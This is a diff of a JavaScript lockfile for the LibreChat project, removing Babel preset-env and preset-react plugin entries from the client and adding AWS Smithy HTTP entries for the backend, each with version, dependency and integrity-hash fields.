- "@librechat/client/@babel/preset-env/@babel/plugin-bugfix-safari-class-field-initializer-scope": ["@babel/plugin-bugfix-safari-class-field-initializer-scope@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qNeq3bCKnGgLkEXUuFry6dPlGfCdQNZbn7yUAPCInwAJHMU7THJfrBSozkcWq5sNM6RcF3S8XyQL2A52KNR9IA=="],
+ "@librechat/backend/@smithy/node-http-handler/@smithy/protocol-http": ["@smithy/protocol-http@5.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qLRZzP2+PqhE3OSwvY2jpBbP0WKTZ9opTsn+6IWYI0SKVpbG+imcfNxXPq9fj5XeaUTr7odpsNpK6dmoiM1gJQ=="],
- "@librechat/client/@babel/preset-env/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": ["@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-g4L7OYun04N1WyqMNjldFwlfPCLVkgB54A/YCXICZYBsvJJE3kByKv9c9+R/nAfmIfjl2rKYLNyMHboYbZaWaA=="],
+ "@librechat/backend/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-MeM9fTAiD3HvoInK/aA8mgJaKQDvm8N0dKy6EiFaCfgpovQr4CaOkJC28XqlSRABM+sHdSQXbC8NZ0DShBMHqg=="],
- "@librechat/client/@babel/preset-env/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": ["@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/plugin-transform-optional-chaining": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.13.0" } }, "sha512-oO02gcONcD5O1iTLi/6frMJBIwWEHceWGSGqrpCmEL8nogiS6J9PBlE48CaK20/Jx1LuRml9aDftLgdjXT8+Cw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": ["@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@7.28.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.3" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-b6YTX108evsvE4YgWyQ921ZAFFQm3Bn+CA3+ZXlNVnPhx+UfsVURoPjfGAPCjBgrqo30yX/C2nZGX96DxvR9Iw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-syntax-import-assertions": ["@babel/plugin-syntax-import-assertions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-UT/Jrhw57xg4ILHLFnzFpPDlMbcdEicaAtjPQpbj9wa8T4r5KVWCimHcL/460g8Ht0DMxDyjsLgiWSkVjnwPFg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-arrow-functions": ["@babel/plugin-transform-arrow-functions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-8Z4TGic6xW70FKThA5HYEKKyBpOOsucTOD1DjU3fZxDg+K3zBJcXMFnt/4yQiZnf5+MiOMSXQ9PaEK/Ilh1DeA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-async-generator-functions": ["@babel/plugin-transform-async-generator-functions@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-remap-async-to-generator": "^7.27.1", "@babel/traverse": "^7.28.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BEOdvX4+M765icNPZeidyADIvQ1m1gmunXufXxvRESy/jNNyfovIqUyE7MVgGBjWktCoJlzvFA1To2O4ymIO3Q=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-async-to-generator": ["@babel/plugin-transform-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-module-imports": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-remap-async-to-generator": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-NREkZsZVJS4xmTr8qzE5y8AfIPqsdQfRuUiLRTEzb7Qii8iFWCyDKaUV2c0rCuh4ljDZ98ALHP/PetiBV2nddA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-block-scoped-functions": ["@babel/plugin-transform-block-scoped-functions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-cnqkuOtZLapWYZUYM5rVIdv1nXYuFVIltZ6ZJ7nIj585QsjKM5dhL2Fu/lICXZ1OyIAFc7Qy+bvDAtTXqGrlhg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-block-scoping": ["@babel/plugin-transform-block-scoping@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-45DmULpySVvmq9Pj3X9B+62Xe+DJGov27QravQJU1LLcapR6/10i+gYVAucGGJpHBp5mYxIMK4nDAT/QDLr47g=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-properties": ["@babel/plugin-transform-class-properties@7.27.1", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D0VcalChDMtuRvJIu3U/fwWjf8ZMykz5iZsg77Nuj821vCKI3zCyRLwRdWbsuJ/uRwZhZ002QtCqIkwC/ZkvbA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-static-block": ["@babel/plugin-transform-class-static-block@7.28.3", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.28.3", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.12.0" } }, "sha512-LtPXlBbRoc4Njl/oh1CeD/3jC+atytbnf/UqLoqTDcEYGUPj022+rvfkbDYieUrSj3CaV4yHDByPE+T2HwfsJg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-classes": ["@babel/plugin-transform-classes@7.28.4", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-globals": "^7.28.0", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/traverse": "^7.28.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-cFOlhIYPBv/iBoc+KS3M6et2XPtbT2HiCRfBXWtfpc9OAyostldxIf9YAYB6ypURBBbx+Qv6nyrLzASfJe+hBA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-computed-properties": ["@babel/plugin-transform-computed-properties@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/template": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lj9PGWvMTVksbWiDT2tW68zGS/cyo4AkZ/QTp0sQT0mjPopCmrSkzxeXkznjqBxzDI6TclZhOJbBmbBLjuOZUw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-destructuring": ["@babel/plugin-transform-destructuring@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Kl9Bc6D0zTUcFUvkNuQh4eGXPKKNDOJQXVyyM4ZAQPMveniJdxi8XMJwLo+xSoW3MIq81bD33lcUe9kZpl0MCw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-dotall-regex": ["@babel/plugin-transform-dotall-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-gEbkDVGRvjj7+T1ivxrfgygpT7GUd4vmODtYpbs0gZATdkX8/iSnOtZSxiZnsgm1YjTgjI6VKBGSJJevkrclzw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-duplicate-keys": ["@babel/plugin-transform-duplicate-keys@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MTyJk98sHvSs+cvZ4nOauwTTG1JeonDjSGvGGUNHreGQns+Mpt6WX/dVzWBHgg+dYZhkC4X+zTDfkTU+Vy9y7Q=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex": ["@babel/plugin-transform-duplicate-named-capturing-groups-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-hkGcueTEzuhB30B3eJCbCYeCaaEQOmQR0AdvzpD4LoN0GXMWzzGSuRrxR2xTnCrvNbVwK9N6/jQ92GSLfiZWoQ=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-dynamic-import": ["@babel/plugin-transform-dynamic-import@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MHzkWQcEmjzzVW9j2q8LGjwGWpG2mjwaaB0BNQwst3FIjqsg8Ct/mIZlvSPJvfi9y2AC8mi/ktxbFVL9pZ1I4A=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-exponentiation-operator": ["@babel/plugin-transform-exponentiation-operator@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D4WIMaFtwa2NizOp+dnoFjRez/ClKiC2BqqImwKd1X28nqBtZEyCYJ2ozQrrzlxAFrcrjxo39S6khe9RNDlGzw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-export-namespace-from": ["@babel/plugin-transform-export-namespace-from@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-tQvHWSZ3/jH2xuq/vZDy0jNn+ZdXJeM8gHvX4lnJmsc3+50yPlWdZXIc5ay+umX+2/tJIqHqiEqcJvxlmIvRvQ=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-for-of": ["@babel/plugin-transform-for-of@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BfbWFFEJFQzLCQ5N8VocnCtA8J1CLkNTe2Ms2wocj75dd6VpiqS5Z5quTYcUoo4Yq+DN0rtikODccuv7RU81sw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-function-name": ["@babel/plugin-transform-function-name@7.27.1", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-1bQeydJF9Nr1eBCMMbC+hdwmRlsv5XYOMu03YSWFwNs0HsAmtSxxF1fyuYPqemVldVyFmlCU7w8UE14LupUSZQ=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-json-strings": ["@babel/plugin-transform-json-strings@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-6WVLVJiTjqcQauBhn1LkICsR2H+zm62I3h9faTDKt1qP4jn2o72tSvqMwtGFKGTpojce0gJs+76eZ2uCHRZh0Q=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-literals": ["@babel/plugin-transform-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-0HCFSepIpLTkLcsi86GG3mTUzxV5jpmbv97hTETW3yzrAij8aqlD36toB1D0daVFJM8NK6GvKO0gslVQmm+zZA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-logical-assignment-operators": ["@babel/plugin-transform-logical-assignment-operators@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-axUuqnUTBuXyHGcJEVVh9pORaN6wC5bYfE7FGzPiaWa3syib9m7g+/IT/4VgCOe2Upef43PHzeAvcrVek6QuuA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-member-expression-literals": ["@babel/plugin-transform-member-expression-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-hqoBX4dcZ1I33jCSWcXrP+1Ku7kdqXf1oeah7ooKOIiAdKQ+uqftgCFNOSzA5AMS2XIHEYeGFg4cKRCdpxzVOQ=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-modules-amd": ["@babel/plugin-transform-modules-amd@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-iCsytMg/N9/oFq6n+gFTvUYDZQOMK5kEdeYxmxt91fcJGycfxVP9CnrxoliM0oumFERba2i8ZtwRUCMhvP1LnA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-modules-systemjs": ["@babel/plugin-transform-modules-systemjs@7.28.5", "", { "dependencies": { "@babel/helper-module-transforms": "^7.28.3", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vn5Jma98LCOeBy/KpeQhXcV2WZgaRUtjwQmjoBuLNlOmkg0fB5pdvYVeWRYI69wWKwK2cD1QbMiUQnoujWvrew=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-modules-umd": ["@babel/plugin-transform-modules-umd@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-iQBE/xC5BV1OxJbp6WG7jq9IWiD+xxlZhLrdwpPkTX3ydmXdvoCpyfJN7acaIBZaOqTfr76pgzqBJflNbeRK+w=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex": ["@babel/plugin-transform-named-capturing-groups-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-SstR5JYy8ddZvD6MhV0tM/j16Qds4mIpJTOd1Yu9J9pJjH93bxHECF7pgtc28XvkzTD6Pxcm/0Z73Hvk7kb3Ng=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-new-target": ["@babel/plugin-transform-new-target@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-f6PiYeqXQ05lYq3TIfIDu/MtliKUbNwkGApPUvyo6+tc7uaR4cPjPe7DFPr15Uyycg2lZU6btZ575CuQoYh7MQ=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-nullish-coalescing-operator": ["@babel/plugin-transform-nullish-coalescing-operator@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-aGZh6xMo6q9vq1JGcw58lZ1Z0+i0xB2x0XaauNIUXd6O1xXc3RwoWEBlsTQrY4KQ9Jf0s5rgD6SiNkaUdJegTA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-numeric-separator": ["@babel/plugin-transform-numeric-separator@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fdPKAcujuvEChxDBJ5c+0BTaS6revLV7CJL08e4m3de8qJfNIuCc2nc7XJYOjBoTMJeqSmwXJ0ypE14RCjLwaw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-object-rest-spread": ["@babel/plugin-transform-object-rest-spread@7.28.4", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.0", "@babel/plugin-transform-parameters": "^7.27.7", "@babel/traverse": "^7.28.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-373KA2HQzKhQCYiRVIRr+3MjpCObqzDlyrM6u4I201wL8Mp2wHf7uB8GhDwis03k2ti8Zr65Zyyqs1xOxUF/Ew=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-object-super": ["@babel/plugin-transform-object-super@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-SFy8S9plRPbIcxlJ8A6mT/CxFdJx/c04JEctz4jf8YZaVS2px34j7NXRrlGlHkN/M2gnpL37ZpGRGVFLd3l8Ng=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-optional-catch-binding": ["@babel/plugin-transform-optional-catch-binding@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-txEAEKzYrHEX4xSZN4kJ+OfKXFVSWKB2ZxM9dpcE3wT7smwkNmXo5ORRlVzMVdJbD+Q8ILTgSD7959uj+3Dm3Q=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-optional-chaining": ["@babel/plugin-transform-optional-chaining@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-N6fut9IZlPnjPwgiQkXNhb+cT8wQKFlJNqcZkWlcTqkcqx6/kU4ynGmLFoa4LViBSirn05YAwk+sQBbPfxtYzQ=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-parameters": ["@babel/plugin-transform-parameters@7.27.7", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-qBkYTYCb76RRxUM6CcZA5KRu8K4SM8ajzVeUgVdMVO9NN9uI/GaVmBg/WKJJGnNokV9SY8FxNOVWGXzqzUidBg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-methods": ["@babel/plugin-transform-private-methods@7.27.1", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-10FVt+X55AjRAYI9BrdISN9/AQWHqldOeZDUoLyif1Kn05a56xVBXb8ZouL8pZ9jem8QpXaOt8TS7RHUIS+GPA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-property-in-object": ["@babel/plugin-transform-private-property-in-object@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-5J+IhqTi1XPa0DXF83jYOaARrX+41gOewWbkPyjMNRDqgOCqdffGh8L3f/Ek5utaEBZExjSAzcyjmV9SSAWObQ=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-property-literals": ["@babel/plugin-transform-property-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-oThy3BCuCha8kDZ8ZkgOg2exvPYUlprMukKQXI1r1pJ47NCvxfkEy8vK+r/hT9nF0Aa4H1WUPZZjHTFtAhGfmQ=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-regenerator": ["@babel/plugin-transform-regenerator@7.28.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+ZEdQlBoRg9m2NnzvEeLgtvBMO4tkFBw5SQIUgLICgTrumLoU7lr+Oghi6km2PFj+dbUt2u1oby2w3BDO9YQnA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-regexp-modifiers": ["@babel/plugin-transform-regexp-modifiers@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-TtEciroaiODtXvLZv4rmfMhkCv8jx3wgKpL68PuiPh2M4fvz5jhsA7697N1gMvkvr/JTF13DrFYyEbY9U7cVPA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-reserved-words": ["@babel/plugin-transform-reserved-words@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-V2ABPHIJX4kC7HegLkYoDpfg9PVmuWy/i6vUM5eGK22bx4YVFD3M5F0QQnWQoDs6AGsUWTVOopBiMFQgHaSkVw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-shorthand-properties": ["@babel/plugin-transform-shorthand-properties@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-N/wH1vcn4oYawbJ13Y/FxcQrWk63jhfNa7jef0ih7PHSIHX2LB7GWE1rkPrOnka9kwMxb6hMl19p7lidA+EHmQ=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-spread": ["@babel/plugin-transform-spread@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-kpb3HUqaILBJcRFVhFUs6Trdd4mkrzcGXss+6/mxUd273PfbWqSDHRzMT2234gIg2QYfAjvXLSquP1xECSg09Q=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-sticky-regex": ["@babel/plugin-transform-sticky-regex@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lhInBO5bi/Kowe2/aLdBAawijx+q1pQzicSgnkB6dUPc1+RC8QmJHKf2OjvU+NZWitguJHEaEmbV6VWEouT58g=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-template-literals": ["@babel/plugin-transform-template-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fBJKiV7F2DxZUkg5EtHKXQdbsbURW3DZKQUWphDum0uRP6eHGGa/He9mc0mypL680pb+e/lDIthRohlv8NCHkg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-typeof-symbol": ["@babel/plugin-transform-typeof-symbol@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-RiSILC+nRJM7FY5srIyc4/fGIwUhyDuuBSdWn4y6yT6gm652DpCHZjIipgn6B7MQ1ITOUnAKWixEUjQRIBIcLw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-escapes": ["@babel/plugin-transform-unicode-escapes@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Ysg4v6AmF26k9vpfFuTZg8HRfVWzsh1kVfowA23y9j/Gu6dOuahdUVhkLqpObp3JIv27MLSii6noRnuKN8H0Mg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-property-regex": ["@babel/plugin-transform-unicode-property-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-uW20S39PnaTImxp39O5qFlHLS9LJEmANjMG7SxIhap8rCHqu0Ik+tLEPX5DKmHn6CsWQ7j3lix2tFOa5YtL12Q=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-regex": ["@babel/plugin-transform-unicode-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-xvINq24TRojDuyt6JGtHmkVkrfVV3FPT16uytxImLeBZqW3/H52yN+kM1MGuyPkIQxrzKwPHs5U/MP3qKyzkGw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex": ["@babel/plugin-transform-unicode-sets-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-EtkOujbc4cgvb0mlpQefi4NTPBzhSIevblFevACNLUspmrALgmEBdL/XfnyyITfd8fKBZrZys92zOWcik7j9Tw=="],
-
- "@librechat/client/@babel/preset-env/babel-plugin-polyfill-corejs2": ["babel-plugin-polyfill-corejs2@0.4.14", "", { "dependencies": { "@babel/compat-data": "^7.27.7", "@babel/helper-define-polyfill-provider": "^0.6.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-Co2Y9wX854ts6U8gAAPXfn0GmAyctHuK8n0Yhfjd6t30g7yvKjspvvOo9yG+z52PZRgFErt7Ka2pYnXCjLKEpg=="],
-
- "@librechat/client/@babel/preset-env/babel-plugin-polyfill-corejs3": ["babel-plugin-polyfill-corejs3@0.13.0", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5", "core-js-compat": "^3.43.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-U+GNwMdSFgzVmfhNm8GJUX88AadB3uo9KpJqS3FaqNIPKgySuvMb+bHPsOmmuWyIcuqZj/pzt1RUIUZns4y2+A=="],
-
- "@librechat/client/@babel/preset-env/babel-plugin-polyfill-regenerator": ["babel-plugin-polyfill-regenerator@0.6.5", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-ISqQ2frbiNU9vIJkzg7dlPpznPZ4jOiUQ1uSmB0fEHeowtN3COYRsXr/xexn64NpU13P06jc/L5TgiJXOgrbEg=="],
-
- "@librechat/client/@babel/preset-env/core-js-compat": ["core-js-compat@3.47.0", "", { "dependencies": { "browserslist": "^4.28.0" } }, "sha512-IGfuznZ/n7Kp9+nypamBhvwdwLsW6KC8IOaURw2doAK5e98AG3acVLdh0woOnEqCfUtS+Vu882JE4k/DAm3ItQ=="],
-
- "@librechat/client/@babel/preset-react/@babel/plugin-transform-react-display-name": ["@babel/plugin-transform-react-display-name@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D6Eujc2zMxKjfa4Zxl4GHMsmhKKZ9VpcqIchJLvwTxad9zWIYulwYItBovpDOoNLISpcZSXoDJ5gaGbQUDqViA=="],
-
- "@librechat/client/@babel/preset-react/@babel/plugin-transform-react-jsx": ["@babel/plugin-transform-react-jsx@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-module-imports": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/types": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-2KH4LWGSrJIkVf5tSiBFYuXDAoWRq2MMwgivCf+93dd0GQi8RXLjKA/0EvRnVV5G0hrHczsquXuD01L8s6dmBw=="],
-
